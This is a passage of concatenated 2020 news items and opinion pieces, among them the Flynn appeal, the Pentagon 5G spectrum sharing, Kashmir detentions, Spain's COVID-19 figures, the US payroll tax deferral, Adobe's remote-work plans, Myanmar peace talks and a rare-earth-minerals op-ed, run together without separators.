to the D.C. Circuit. Flynn was the highest-level Trump adviser convicted in special counsel Robert Mueller's Russia investigation. Instead of proceeding to sentencing, Attorney General William Barr ordered a review of the Flynn investigation. He then moved to drop the long-running case, saying new evidence showed FBI agents did not have a valid reason to question Flynn, so any lies he told did not amount to a crime. In its 2-1 decision in June, the D.C. Circuit panel said it is not within a judge's power to prolong a prosecution or examine the government's motives for moving to drop criminal charges. "This is not the unusual case where a more searching inquiry is justified," wrote Rao, a recent Trump nominee, who was joined by Judge Karen LeCraft Henderson, a nominee of President George H.W. Bush. Judge Robert Wilkins, a nominee of President Barack Obama, disagreed. Sullivan "must be given a reasonable opportunity to consider and hold a hearing on the Government's request to ensure that it is not clearly contrary to the public interest." - - - The Washington Post's Rachel Weiner contributed to this report There's a lot going wrong in the world but no one seems to have told the sharemarket. Since early June, the benchmark S&P/ASX 200 Index has effectively traded sideways. During this period, we have had the COVID-19 crisis develop in Victoria and increasing rates of infections in the US. Not only that, we are entering what could be the worst earnings reporting season in a decade. There's a lot going wrong in the world, but no one seems to have told the sharemarket. Credit:Jessica Hromas In May, I wrote about the how the sharemarket is not the economy. It won't reflect what is happening today, but rather where we will likely be 12 months from now. Because of this, I anticipated that the S&P/ASX 200 would get back above 6000 pretty quickly from its lows. Now that it has done that, progress has stalled. However, this is actually a good sign for its future direction. What we saw at the end of March was a strong bounce off an oversold position. Markets extend too far on the downside and upside all the time. This is because human emotions are involved. Success! An email has been sent to with a link to confirm list signup. WASHINGTON (dpa-AFX) - The Defense Department has opted to share bandwidth with the private sector to enhance 5G capabilities for commercial wireless services in the United States. The White House and the Department of Defense announced that 100 megahertz of contiguous, coast-to-coast mid-band spectrum will be made available for commercial 5G deployment. The Federal Communications Commission will auction the 3450 Mhz to 3550 Mhz spectrum that will allow private operators to access midband spectrum by the end of the summer, according to DOD. The newly devised spectrum-sharing plan will make 100 megahertz of mid-band spectrum currently used by the military available for sharing with the private sector for use in development of 5G technologies. 'With this additional 100 MHz, the U.S. now has a contiguous 530 megahertz of mid-band spectrum from 3450-3980 MHz to enable higher capacity 5G networks,' Defense Department's Chief Information Officer Dana Deasy told media. America's Mid-Band Initiative Team, or AMBIT, developed a segment of mid-band spectrum after 15 weeks of work. 5G networks require a mix of high-, mid- and low-band spectrum. The low band carries signals over long distances, whereas the high band travels shorter distances but is good for data intensive tasks. Mid-band spectrum is attractive for 5G because it can deliver high capacity and reliability over larger geographic areas. 5G will be as much as 100 times faster than current 4G networks. The Defense Department uses the segment of spectrum from 3450-3550 MHz for such things as radar operations that support missile defense, countermortar capabilities, weapons control, electronic warfare, air defense and air traffic control. The defense department is already testing and evaluating 5G technologies at a dozen U.S. military installations around the country. 'Together with the spectrum being made available for 5G in the C-band as well as the 3.5 GHz band, we are now on track to have a 530-megahertz swath of mid-band spectrum available for 5G from 3.45 to 3.98 GHz,' Federal Communications Commission Chairman Ajit Pai said in a statement. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de National Conference leader and former chief minister of the erstwhile state of Jammu and Kashmir, Omar Abdullah, has questioned the Union Territory administration for denying it had detained several regional political leaders including those from the NC and for submitting that they had freedom to move while following certain restrictions for their own safety. The administration made the claim on Tuesday before J&K High Court while replying to a bunch of habeas corpus petitions filed by NC president Farooq Abdullah and vice president Omar Abdullah seeking release of 16 party leaders. Omar responded to the claims by saying that similar claims made by the administration last month before the Supreme Court in the case of senior Congress leader Saifuddin Soz had exposed the lies. None of them are detained yet none of them are free to leave their homes. If its about their security, then how come the same precautions arent taken for BJP and Apni party leaders? Soz Sb exposed the lies of the administration when they took a similar line in the SC, Omar tweeted. Also Read: My innocuous dissent was seen as act of treason: Shah Faesal on quitting politics Earlier on July 31, Saifuddin Soz, a five-time member of Parliament and a former Union minister, accused the administration of falsely telling the SC that he was a free man. Soz said he was in detention since August 5 after the abrogation of Article 370 and bifurcation of Jammu and Kashmir into two Union Territories. A video showing Soz being restrained and being pulled away by security personnel while talking to journalists on the other side of the boundary wall of his Srinagar house, also went viral. Soz has also termed his detention illegal alleging he had not been served with any official order to the effect despite several requests. He has indicated that he will challenge the administrations submissions made in the SC through his lawyers. Omars and his fathers petitions are seeking release of NC general secretary Ali Mohammed Sagar, provincial president Nasir Aslam Wani, senior leader Aga Syed Mehmood and partys chief spokesman Aga Syed Ruhullah Mehdi among the 16 leaders allegedly being detained at their residences illegally. 4G ban to be lifted from 2 J&K districts on trial basis after Aug 15: Centre tells SC The J&K administration today told the high court that no order of detention either under preventive detention law or substantive law was issued against any of the 16 leaders named by Abdullahs and added that they were free to move with certain precautions as deemed fit for their security. Omar, however, did not buy the argument and asked why the restrictive security cover was being provided selectively to some leaders and not to others. He also alleged that that the recent attacks on BJP workers in the region showed that the police was failing in its primary duty. The administration is failing in the task of providing security to political workers, evidenced by the spree of attacks against BJP workers, because the police are too busy being jailers rather than protectors. Security is NO reason to detain people in their homes, Omars second tweet said. Five BJP leaders have been killed and two others critically injured in separate attacks in the valley over the past one month, while another leader escaped a grenade attack on his house in Tral in Pulwama district on Monday. Spains Health Ministry on Monday reported 8,618 new coronavirus infections since Friday, of which 1,486 were diagnosed in the last 24 hours. This brings the total number of confirmed cases to 322,980 since the epidemic took hold, according to the data that Spains regions report to the central administration. Fernando Simon, the director of the Health Ministrys Coordination Center for Health Alerts (CCAES), stated on Monday evening at a press conference that the bulk of the new cases are being detected in Catalonia, Madrid and Aragon. Of the 65 Covid-19 deaths reported in the last seven days, more than half of them were in Aragon, with 38, followed by Madrid and Andalusia, which both reported six fatalities in the last week. The total number of confirmed coronavirus deaths in Spain now stands at 28,576. The data was reported on Monday after a delay due to a problem with the IT system, but unlike on previous occasions, all of Spains regions had reported their figures. On Friday, for example, Aragon did not upload its coronavirus statistics due to technical problems, and the report it filed on Monday was apparently corrected to eliminate duplicate cases: the 18,870 infections reported last week have now fallen to 18,388, according to the regions latest data. Aragon is currently the region that most exceeds the average infection rate over the last two weeks. For the whole country, that figure stands at 90.56 cases per 100,000 inhabitants, while in the northern region that figure is 514.12. Fernando Simon at Monday's press conference. Rodrigo Jimenez (EFE) Simon claimed, however, that infections are beginning to level off in much of the country. Aragon is beginning to stabilize, but we cant guarantee that, we need to be cautious, he said. It is true that there are still some neighborhoods in Zaragoza where infections continue, but even there, if everything is going as it seems, we will have lower rates. The government official added that the healthcare system in Aragon is not overwhelmed, although he did recognize that some hospitals have a slightly more critical situation than others. According to data from the Aragon regional government, the Clinico Universitario de Zaragoza hospital has the most patients, with 156 admitted and 14 of those in intensive care, and as such will set up a field hospital in the parking lot to attend to more patients should the installation become overwhelmed. Simon pointed to the fact that specific measures have been established and greater controls implemented, in particular with respect to the increase in infections in some neighborhoods. It appears that they are heading in the right direction, we have to give them some time, he said. If you are with your family today, with a group of friends the next day and with a different group the next, that is the situation that involves the most risk Fernando Simon, the director of the Health Ministrys Coordination Center for Health Alerts Other regions where infection rates are above the average include Navarre (159.28 cases per 100,000 inhabitants), Catalonia (157.73), the Basque Country (150.51) and Madrid (125.59). With regard to Catalonia, the CCAES director explained that new outbreaks and infections are descending, and that the situation is in a control phase. The Catalan capital and Madrid, he continued, are special cases, given that they constitute the two biggest risk points. The fact that Barcelona has been able to control infections and apparently stabilize [the situation] suggest that the measures that are being applied have the ability to control outbreaks, including in complicated places such as metropolitan areas. The data shows that young people are now the main group being infected by the coronavirus. According to Simon, 70% of new cases are among the under-30s, although 10% of cases are among the over-65s, which is the main risk group for the disease. The CCAES director added that the fatality rate has dropped over the last two months of the pandemic, given that on the one hand, the affected groups are younger, and on the other, more asymptomatic and mild cases are being detected, something that was not happening during the peak of the pandemic. That said, while the death rate over the last two weeks has been between 0.3% and 0.6% for the entire population, that figure rises to 14% to 17% for the over-70s. Simon stressed that it is vitally important to maintain strict measures in senior residences, something, he added, that the countrys regional governments are doing. The regions are conscious of the risks and the impact is falling compared with what happened in March and April, he said. But we are not managing to reduce [infections in senior residences] to zero. Simon stressed that the best strategies to contain the virus include physical distancing and avoiding contact between groups that do not usually live together. If you are with your family today, with a group of friends the next day and with a different group the next, that is the situation that involves the most risk, because one case can end up being transmitted to different groups, as if they were amplifiers, he said. Its not easy to control. You can do this if the [safety] measures are adequate, but if we are out partying, the relaxation of measures is greater and this can generate risks of infection. Citizens need to understand that it is good if we limit social relationships to more or less stable groups, and if not, take the utmost precautions. Contact tracers On Monday it emerged that the Madrid regional government had signed an urgent contract with the private health group Quiron Salud to hire 22 professionals two doctors and 20 nursing assistants for three months to work as contract tracers. The move, which will cost 194,000, came after the administration drew criticism for the low number of staff it had in place to perform these tasks. Personally, I prefer public services, said Simon on Thursday when questioned about the issue. Each region has the right and the capacity to do this, he continued. But it has to be efficient. What Im interested in is the observations that can be made from the data. English version by Simon Hunter. The Endiya Fund II has received a commitment of about $10 million (Rs 75 crore) from the International Finance Corporation (IFC), a member of the World Bank Group. The IFC has also committed an additional $10 million for direct co-investments alongside Endiya Fund II. The partnership with the IFC will provide the Endiya portfolio companies with financial and strategic support resulting in increased access to growth opportunities and sustainable scalability, said Hyderabad-based Endiya Partners. "Early Stage VC investment volumes in India are markedly lower than VC volumes in countries like the US and China. Our investment in VC funds like Endiya helps mobilise capital from other LPs and brings that capital to path breaking early stage businesses," said Jun Zhang, IFC Country Head, India. Endiya Partners is a seed and early-stage venture capital firm investing in IP led Indian product start-ups that are globally relevant. Endiya's current portfolio includes Darwinbox, Steradian Semiconductors, Kissht, SigTuple, and Myelin Foundry. Endiya Fund II has a corpus target of Rs 500 crore ($65 million) and has already completed its first round at Rs 280 crore ($40 million) in May 2019. Limited partners in the Fund include financial institutions, corporates, and family offices across India, Europe, and the US. Endiya Fund II will seek to invest in 16-20 start-ups, with an initial cheque size of $500,000 to $1 million in Seed/Pre-series A rounds and a planned investment of up to $5 million per company. Founded in 2016 by Sateesh Andra, cardiologist-turned-investor Ramesh Byrapaneni, and Abhishek Srivastava, Endiya added Abhiram Katta to its top deck in 2018 and most recently expanded its Investments team by hiring Dipesh Chawla and Lakshmi Kancharla. "We are excited to have won the IFC's support and backing. We value the IFC's vast global presence across geographies that could offer future expansion markets for our portfolio companies. We are also delighted to have a co-investment envelope from the IFC that could be used to support our investees as they scale," Andra, Partner at Endiya, said. Endiya's Fund I was a 2016 vintage fund with Rs 175 crore ($25 million) corpus and invested in 12 portfolio companies. It is rare for a judge to step down from the bench because of a cognitive condition, a situation that Judge Simpson seemed to acknowledge in a statement she released on Monday. In the statement, Judge Simpson, who was raised in Canarsie, Brooklyn, said she had expected her retirement to come much later in life and described her tenure on the bench as a childhood dream come true. I came from a ZIP code that doesnt often spawn the kind of life, family and career I have been blessed to enjoy, she said. My life has been a little Black girls American dream. Before she was appointed to the bench in 2004, Judge Simpson served as a bureau chief in the Brooklyn district attorneys office, where she supervised more than 40 people and was responsible for the prosecution of thousands of criminal cases. She began her judicial career as a civil court judge and, after running unsuccessfully for the citys Surrogates Court, was elevated to serve as an acting justice in the State Supreme Court in Manhattan in 2011, handling criminal trials. In 2015, Judge Simpson was transferred to the State Supreme Court in Brooklyn where, in one of her most noted cases, she threw out the conviction of John Dwayne Bunn, who spent 17 years in prison for the 1991 murder of an off-duty corrections officer. In her decision, Judge Simpson cited a history of wrongdoing by Detective Scarcella, who had worked on the case as well as several others that were eventually reversed. In a dramatic courtroom scene, Judge Simpson held Mr. Bunns hand from the bench as he wept in gratitude. Two more arrested in HK over suspicion of colluding with foreign forces Global Times Source: Global Times Published: 2020/8/11 0:48:21 Following the arrest of Jimmy Lai Chee-ying, key anti-government figure and founder of secessionist Apple Daily tabloid, the Hong Kong Police Force has taken into custody secessionists Wilson Li and Andy Li on Monday for promoting so-called "Stand with Hong Kong" slogan in instigating secessionism. Wilson Li, an ITV freelancer and a former member of secessionist group Scholarism, and Andy Li, Chairman of the Independent Election Observation Mission to Hong Kong and founder of "Hong Kong Story" were arrested Monday afternoon. Local media outlets reported that the two are suspected of being responsible for the operation of an online group, Lanchao, with the slogan "Stand with Hong Kong," which reportedly received foreign funds to support its secessionist campaign, especially from the US government until this June. According to its fundraising website, the group "incidentally" addressed a letter to US Secretary of State Mike Pompeo at an early stage. Lanchao's members who are overseas, recently joined the Inter-Parliamentary Coalition on China Policy (IPAC), which was formed by a group of Western lawmakers in June and aimed at confronting China's growing geopolitical prowess amid international concerns over its decision to adopt the national security law in Hong Kong, as well as criticism of China for the COVID-19 pandemic, according to US media. In its most recent post, it vowed to facilitate the independent investigation report of the UK All-Party Parliamentary Group for Hong Kong. In November last year, "Hong Kong Story", another pro-secession organization, even invited 19 foreign experts from 10 countries to form a monitoring team to observe the District Council elections in Hong Kong and communicate with candidates. Andy Li, a member of "Hong Kong Story", described the riots in Hong Kong as "a humanitarian catastrophe" and sought help from the international community in pressuring Chinese authorities. On November 24, 2013, former Scholarism member Wilson Li was involved in attacking the police line when then Chief Executive Leung Chun-ying attended a district consultation forum on the Policy Address and the Budget at Shatin Government Secondary School. Li pleaded guilty to three counts of unlawful assembly, and was sentenced to 80 hours of community service on January 7, 2016. On March 20, 2016, Scholarism announced it was disbanding. In November, Li and 12 other assistants were permanently banned from the Legislative Council Building and blacklisted by The Legislative Council Commission. As of 10 pm, at least 10 people were arrested on Monday, including Lai, his two sons and senior officials of Next Media, on suspicion of colluding with foreign forces and violating the national security law. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The Lagos State House of Assembly Service Commission (LAHASCOM) has promoted 103 officers of the Commission. The Commissions Chairman, Wale Mogaji, gave the advice while congratulating the 103 officers comprising 44 management staff and 59 senior staff. The chairman explained that they were promoted after the first virtual promotion exercise conducted by the commission in conjunction with the Public Service Staff Development Centre (PSSDC). He urged the newly promoted management and senior staff to be good ambassadors in the discharge of their responsibilities. He advised them to be more dedicated and conduct themselves as true ambassadors of the state government wherever they were in order to justify their promotion to higher levels. Mr Mogaji described the Virtual Structured Training Programme (Promotion exercise) as successful. The chairman argued that the mode adopted was born out of the commissions desire to comply with the states directive on the need to rid the State of COVID-19 pandemic. Mr Mogaji said it was a unanimous agreement by all the states commissions to conduct a virtual promotion exercise. He said: This was to comply with the governors directive and the Federal Governments guidelines on maintaining social distance. Virtual assessment is not enough for individual appraisal but can be improved upon to meet up with international standards, because the old method of assessing officers for promotion is more result-driven. There is nothing wrong with virtual training but there must be a way to structure the time whereby individual contributions will be better assessed. The strength of individual participants may not be determined within a short period but can be improved upon and restructured in a way that participant can be assessed objectively. Mr Mogaji said the old method was designed to effectively appraise leadership qualities, competence and comportment for better critical assessment of each member of staff which could be achieved via virtual assessment. He, however, said the Virtual Training Programme had satisfied the purpose for which it was formulated, due to the emergence of the novel COVID19. (NAN) President Donald Trump's move to defer payroll taxes could be taking him into treacherous political territory. His directive aimed at boosting an economy shaken by the coronavirus pandemic doesn't affect retirement benefits but impacts how they're paid for. Democrats seized on it Monday as a signal that Trump would cut the social safety net and break a promise he made as a candidate in 2016 not to touch and Medicare. Some nonpartisan experts also expressed concerns. Deferral of the 6.2 per cent payroll tax on employees for the last three months of this year could mean that up to USD 100 billion in payments to the Trust Fund would be delayed, according to an updated estimate by the nonpartisan Committee For A Responsible Federal Budget, which advocates for reducing government deficits. What it does is undercut Social Security, Rep. John Larson, D-Conn., said Monday, addressing Trump's move. The president is defunding Social Security and breaking his promise. ... He will say, 'I'm not doing anything to touch Social Security, I'm just deferring this,' but it's as clear as my hand in front me. Larson chairs the House Ways and Means subcommittee overseeing the retirement program. The Democratic National Committee was out with a video accusing Trump of breaking his promise to older Americans. The White House pushed back. Providing a payroll tax deferral poses no risk to the Social Security Trust Fund and puts more money in the pockets of hardworking Americans as we fight to end this pandemic from China and rebuild our economy safely, spokesman Judd Deere said in a statement. This has been a priority for President Trump and while congressional Democrats played politics the president acted for the forgotten men and women of this country as he has done so many times before." With more than 60 million beneficiaries, Social Security is funded by a 12.4 per cent payroll tax evenly divided between employees and employers. But there's a cloud over the program's long-term finances, and even before the pandemic, government experts estimated it would be unable to pay full benefits starting in 2035. Medicare's hospital fund is also financed by a payroll tax, but that's not affected by Trump's directive. Social Security and Medicare are seen as politically untouchable. It's not just that seniors have clout in elections, but the two programs have longstanding inter-generational support. Trump acted on his own after negotiations with Congress on another COVID-19 relief package broke down. The president has authority to take such limited steps during the national emergency due to the coronavirus. Trump has also directed Treasury Secretary Steven Mnuchin to work with Congress to forgive the entire amount of the payroll taxes deferred. Otherwise, the tax holiday would become a tax liability for workers when the government comes back to collect the money owed to Social Security. The whole exercise troubles some nonpartisan experts, who say the bedrock principle of Social Security is that earmarked payroll taxes from employees and their employers pay for earned benefits for retirees. This undermines the dedicated funding, which is the foundation of Social Security, said William Arnone, CEO of the National Academy of Social Insurance, a nonpartisan public policy organization. Although the White House says the Treasury Department will guarantee that the Social Security Trust Fund is made whole, Arnone said he's worried because payroll tax collections have already taken a hit this year in the coronavirus economy. The question of the reimbursement of the trust fund is not clearly spelled out , said Arnone. It is a big boost in take-home pay for workers, but what is the long-term cost to them if it makes Social Security less stable?" Under Trump's plan, workers making below $104,000 a year would get the tax deferral. But the president's directive is incomplete because many key details are still not known. For example, the benefit is limited to workers who generally make less than USD 4,000 every two weeks. However, Trump didn't define generally in his directive to the Treasury. What happens to people who make USD 4,001? Economist Eugene Steuerle of the Urban Institute think tank said other practical issues seem to have been ignored. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Adobe CEO Shantanu Narayen told CNBC on Tuesday that he believes there are inherent benefits to being in an office that widespread remote work, which became a necessity during the coronavirus pandemic, cannot necessarily provide. "Projects which are well underway, we've seen tremendous momentum continue, but when you're trying to create a new project, you want people around that water cooler. You want that sense of urgency," he said on "Squawk Alley." "I feel like productivity is impacted a little bit in that." Narayen said Adobe, which is headquartered in San Jose, California, and has offices around the globe, is surely going to rethink its physical footprint as a result of the coronavirus both in where offices are located and how they're used. Smaller satellite offices may become less of a priority. Employees may still work in those areas, "but we're not going to have the footprint that we had," he explained. Larger locations such as San Jose, San Francisco and "other centers around the world" still figure to play a key role in Adobe's operations going forward, Narayen said. "We will continue to have locations. They'll be very different in terms of how they're set up, the structure associated with them, the capacity. But it's all areas we're working through," he said. Narayen emphasized that Adobe is not in a hurry to ask workers to return to the office as the Covid-19 pandemic persists, noting that employees have continued to be productive at home. Expressing the need for continued improvements on coronavirus testing and therapies, Narayen said he did not want to "unnecessarily bring people back to work early in case there are any risks associated with that." Adobe completed a renovation of its San Jose headquarters a few years ago, and in 2019 it broke ground on another office tower in the city's downtown. Construction was paused due to the coronavirus but had resumed by mid-May, according to the Mercury News. The future of corporate offices has come into question after businesses quickly pivoted to remote work earlier this year in an attempt to slow transmission of the virus. For example, both of Jack Dorsey's companies, Twitter and Square, have informed employees they can work from home "forever" if they wish. Facebook CEO Mark Zuckerberg has predicted that about 50% of its employees may work remotely in the next five to 10 years but the social media giant also recently signed a large lease for office space in Manhattan, another indication the coronavirus' influence on offices may not have an either/or outcome. Narayen said Adobe's internship program this summer was entirely virtual, so "at all times of day and night, I was meeting with these interns across the globe as they were apprenticing at Adobe." It also raised questions for corporate leaders about remotely building a culture at an organization, he said. Adobe, for example, has more than 22,000 employees across the world. Less than three years ago, the company had almost 18,000. "We're working hard to figure out how, as all of these new people come on board, how do we instill in them the values? How do we continue to evolve the culture, bringing their smart ideas to bear?" he said. "As social distancing and the ability to actually have people in safe locations happen, it's something that we're continuing to work on, but that's ahead of us." "We have a great crop of new hires coming, and we're going to focus just as much as we did in the past on assimilating them and making sure their great ideas benefit Adobe," he added. The cardinal's call comes on the eve of the fourth session of the Union Peace Conference 21st Century Panglong. In 1947, the first Panglong conference laid the foundations for the birth of the country. Peace between different ethnic groups is needed to defeat the pandemic, "a greater common enemy". Democracy and federalism can unite the population. Yangon (AsiaNews) The fourth session of Union Peace Conference 21st Century Panglong is set to start on 19 August. In a message ahead of the event, Card Charles Maung Bo, Archbishop of Yangon, notes that There is no other path than dialogue. [. . .] Were all damaged by war. No one wins. The only way is peace. Led by Aung San Suu Kyi, Myanmars government, the Armed Forces (Tatmadaw), and the leaders of various armed ethnic groups will participate in peace negotiations to end decades of inter-ethnic conflict in the country. In 1947, the first Panglong conference laid the foundations of modern Myanmar, then called Burma. Suu Kyis father, General Aung San, head of the government of the British Crown colony of Burma, brokered the deal between the four main ethnic groups (Bamar, Chin, Kachin and Shan). At present, the absence of several large ethnic groups has weakened current negotiations. The Kachin Independence Army and the TNLA Ta'ang have refused to join the process in protest for the exclusion of the Arakan Army. In his remarks, Card Bo offers a prayer for the success of the conference, pointing out that General Aung San, and all those who dreamt of a new united nation after the ruins of the Japanese invasion and colonialism, fought to to build on the fertile, life giving differences among us, and so shape a proud, united people. The prelate goes on to bemoan Aung Sans brutal assassination 73 years ago, which marked the beginning of decades of division, conflict and darkness for the people of Myanmar. For him, the players at the table of negotiations can now overturn this history of death and suffering; even more so now as the country grapples with the coronavirus pandemic. Archbishop Bo cites Pope Francis who issued a passionate call for a world-wide ceasefire in order to defeat a greater common enemy, COVID-19. Through unity, he notes, we will rebuild our nation after the socio-economic, environmental and medical wreckage of the global pandemic. For the cardinal, the only way forward is democracy, building a true federal state, with a representative government that takes care of all its citizens. He warns that military solutions are counterproductive and must be abandoned in favour of cooperation, civilisation and wisdom. The country needs a military which is inclusive of all ethnic groups, without any discrimination. What is more, Gradually, the military must come under the authority of a democratically accountable elected President. According to the archbishop of Yangon, by showing respect for its people, providing a safety net even for the poorest, Myanmar will be able to reclaim its place in Asia and the world. Ultimately, Peace is possible, he says. Peace means development. Peace is our destiny. CertifyMe.net, a premier provider of online safety, compliance and U.S. Occupational Safety and Health Administration (OSHA) compliance, recently announced a series of initiatives, including a new website MEWPCertification.com, to accommodate updated American National Standards Institute (ANSI) safety standards. The brand new guidelines, ANSI A92.20 and ANSI A92.22, were originally slated for implementation in late 2019. Due to the challenges posed by the COVID-19 pandemic, the standards are now scheduled to begin on June 1, 2020. This is an important addition to our family of certification and training platforms, said Tom Wilkerson, CEO and Founder of CertifyMe.net. Site supervisors, safety managers and equipment operators are concerned about how the ANSI standards will impact safety. As usual, CertifyMe.net is at the forefront of the educational and certification programs to align all concerned parties with ever-changing safety rules and regulations. ANSI A92.20 and A92.22 defined aerial work platforms (AWPs) as mobile elevating work platforms (MEWPs). Other key aspects of the updated ANSI guidelines include new group and type designations for MEWPs, along with important design considerations, including: Pneumatic tire requirements Tilt sensing attributes Load sensing standards Sustained inventory operation And much more CertifyMe.nets certification and training programs address the ANSI A92.20 and A92.22 standards, along with OSHA safety regulations. Their offerings include: CertifyMeOnline.net complete MEWP certification programs with unmatched online convenience. AerialLiftCertification.com popular training packages for MEWP certification needs, including the popular Training Kit. MEWPCertification.com brand new site from the CertifyMe.net family of online OSHA and ANSI compliance & training sites, with a new MEWP Certification Course designed to handle the ANSI updates. While CMO and ALC have remained go-to certification, training and compliance programs for employers across the U.S., were really excited about MEWPCertification.com, said Mr. Wilkerson. Our MEWPCertification.com courses include an Aerial Lift & Scissor Lift course, along with a separate Fall Protection certification program. Plus, both courses are available in Spanish, a huge benefit for employers with bi-lingual communication challenges. The addition of MEWPCertification.com reinforces our commitment to our customers everywhere, and we look forward to handling these new compliance challenges for anyone that requires assistance. About the Author MEWPCertification.com is the newest addition to the CertifyMe.net umbrella of certification and compliance companies. Led by CEO Tom Wilkerson, MEWPCertification.com continues the strong tradition of affordable compliance and enhanced safety established by CertifyMe.net, CertifyMeOnline.net, AerialLiftCertification.com and ForkliftCertification.com. Mr. Wilkerson's newest site aims to help everyone from safety supervisors to foremen and regular MEWP operators account for the significant ANSI A92.20 and A92.22 implementation. To learn more about MEWPCertification.com, give their safety experts a call today at 888-278-8896, or get started today with your upgraded safety program with MEWPCertification.com. Rep. Henry Cuellar announced that as part of the Department of Educations TRIO program, TAMIU and Laredo College will receive $1.47 million and $1.54 million respectively over the span of the next five years to support low income and first-generation college students. The TRIO program is a federal outreach and student services program designed to identify and provide services for individuals from disadvantaged backgrounds, states the U.S. Department of Education. As a result of the additional funding, both TAMIU and LC will be able to provide supplementary tutoring and financial literacy resources to students over the next five years. Weve had this program since 2001, and so weve had an impact on a lot of students to date, TAMIU President Dr. Pablo Arenaz said. According to Arenaz, the $1.47 million will help approximately 160 students that are first-generation or disabled. From the students who are eligible and apply to the TRIO program, approximately 94% of students applied to semesters consecutively, and 76% of those students graduated. Starting this year, students eligible for the TRIO program can expect tutoring and financial literacy programs, but also information and help regarding shadowing and internship opportunities. This program has really provided a lot of opportunities and will continue to provide a lot of opportunities for young people who need to navigate the college experience in a very different way, Arenaz added. At LC, President Dr. Ricardo Solis said that while its hard to approximate the number of students the funding will help, he estimated that an average of 300 students benefit from the TRIO program, and he hopes more will take advantage this semester. He also said that a big problem facing higher education is the shaken confidence of current, former or new students in returning to school during the COVID-19 pandemic. Solis said that the TRIO funding will allow the college to provide the additional help that he thinks will persuade students to return to school this year. Aside from the academic tutoring, financial programs and benefits, the college is also working to improve retention and graduation, as well as provide assistance in enrolling to a four-year university. As a result of the pandemic, Solis said that the funding will help students who work either part- or full-time in a time of uncertainty. As enrollment rates are lower throughout South Texas and higher education in general, Solis said that it is important to encourage people to return to finish their education by providing the support services they may need. The funds come from the Student Support Services program, which is one of eight that fall under the TRIO programs. It is designed to increase college persistence and completion for vulnerable students, such as those who are low income or first generation. These funds awarded to institutions of higher education will support opportunities for academic enrichment, career counseling and financial guidance. According to a study by the U.S Department of Education of Postsecondary Education, new students in both two- and four-year institutions are more likely to persist in higher education. Two-year students were more likely to transfer to a four-year university, and the latter also showed that they earned more credits when compared to a matched nonparticipant. It is critical that we provide academic support to some of our most vulnerable students on their journey to graduation during these unprecedented times, Cuellar said. This federal investment will lay the foundation they need to graduate, continue their education, and start successful careers. As a senior member of the Appropriations Committee, I will continue to work hard to ensure the next generation has access to a quality education and the tools to drive our economy forward. Cuellar says that the funding comes at a time when Texas Gov. Greg Abbott holds on to approximately $7.5 billion dollars in CARES Act funding which should be given to local communities and school districts. He said that the situation is frustrating as public, private and higher education institutions need the money now, and the issue is currently being addressed through a bill. I say that very respectfully, but I know whats going on at the state of Texas where they are holding on that money so they can turn around in the next legislative session in January and say oh, we can fill in the gaps with these billions of dollars, Cuellar said. We sent money from the federal government not to fill a gap at a legislative session next year in January, we sent in the money because there are people that are hurting right now; students, universities, cities and counties. Cuellar, Solis and Arenaz all agreed and believe that the TRIO program has worked all the years its been in place. Were so very grateful that Congressman Cuellar shares our enthusiasm and vision in supporting this program, Arenaz said. Its a powerful affirmation of our universitys mission: to provide access and excellence to all students. By offering comprehensive coordinated services to 160 low-income, first-generation and disabled students in need of academic support, this program will strengthen academic achievement, retention and baccalaureate degree graduation. These TAMIU graduates will become productive members of our city, region, state and nation. We think thats a win-win for everyone, and thank Congressman Cuellar for his partnership. This Student Support Services Program funding aims to improve retention and graduation rates of our students by providing critical academic support services including tutoring, advising and other educational services, Solis added. On behalf of the entire Laredo College family, I would like to thank Congressman Cuellar, the U.S. Department of Education and all who aided in making this critical assistance available to our students during a time when it is needed most. Christian Ocampo may be reached at cocampo@lmtonline.com Recently, my organization Power The Future released an important study documenting Chinas virtual monopoly of rare earth elements (REE). These elements are used in products that range from everyday appliances to military tools and weapons, but, they are also essential for creating solar panels, electric cars, and other green tech that the eco-left insists we must use to stop climate change. Our study illustrates an inconvenient truth environmentalist would like to ignore: going green is a boon to China and a detriment to our national security. Despite acknowledging Chinas monopoly over rare earths as an issue, the eco-left refuses to increase domestic mining for these critical resources. PTFs study focuses on the dangers of continued inaction and outlines the threat that this dependence poses to Americas economy and national security. Thankfully, Senate Republicans are taking action to eliminate these threats. This past week, Senate Majority Leader Mitch McConnell (R-KY) introduced the most recent coronavirus relief bill. The Covid-19 pandemic exposed Chinas control over the world supply chain. This was most immediately apparent regarding medical equipment as the world responded to the initial outbreak. But, it quickly became clear that our reliance spread far beyond medical supplies, including REEs. Fortunately, Leader McConnells legislation addresses this issue by promoting secure and robust domestic supply chains. Encouraging domestic supply chains is essential to the future of U.S. manufacturing and competitiveness. Specifically, the legislation being included in McConnells larger bill to do this is the American Mineral Security Act. This legislation would identify critical minerals; cut down on unnecessary permitting delays to produce domestic deposits; promote workforce development; invest in research and development to increase the production of alternatives; and more. Senator Lisa Murkowski (R-AK), the sponsor of the American Mineral Security Act, said, The COVID-19 pandemic has brought renewed attention to the fact that our nation is heavily dependent on imports for a wide array of goods and technologies that are essential to our health, economy, and security. We need to reverse our damaging dependence on China and other nations and rebuild domestic supply chains for everything from personal protective equipment to clean energy technologies. This renewed attention is important, and Sen. Murkowski should be applauded. This weeks legislation is a great first step, but we must follow through and execute right now. Following an Executive Order by President Trump in 2018, the Interior Department released a list of 35 minerals the administration considers to be critical. The U.S. is fully dependent on imports for 14 of those 35 critical rare earth materials, and imports 75% of its supplies of at least 10 of the listed critical materials. Also, as the most recent PTF study pointed out, China controls 95% of the entire worlds REEs. Covid-19s economic fallout made clear that this level of dependence is unacceptable, and China has made clear that they are willing to exploit this weakness. As I wrote in a piece last week, China has already made their intentions clear. Regarding our ongoing trade war, Chinas rare earth producers said that the industry resolutely supports the nations counter measures against US import tariffs on Chinese products. The U.S. can no longer allow their leverage to grow, which means that we have to encourage development here at home. Still, despite the blatant risks to our economy and national security, the eco-left insists on going green. Democratic presidential nominee Joe Biden (D-DE) released his new climate plan which portends attempts to eliminate carbon emissions in the U.S. by 2035, put Americans into electric vehicles and zero-emissions mass transit, and rebuild the countrys infrastructure. To put it simply, it would mean spending $4 trillion over four years on eco-left policies that require massive amounts of REEs, effectively transferring trillions of dollars of wealth into China and even further increasing our dependence on them. If the environmental left insists we go green will they at least insure that we do it without putting America under the thumb of China? America needs to be fighting for independence from our communist adversary, not allowing them more leverage. This past 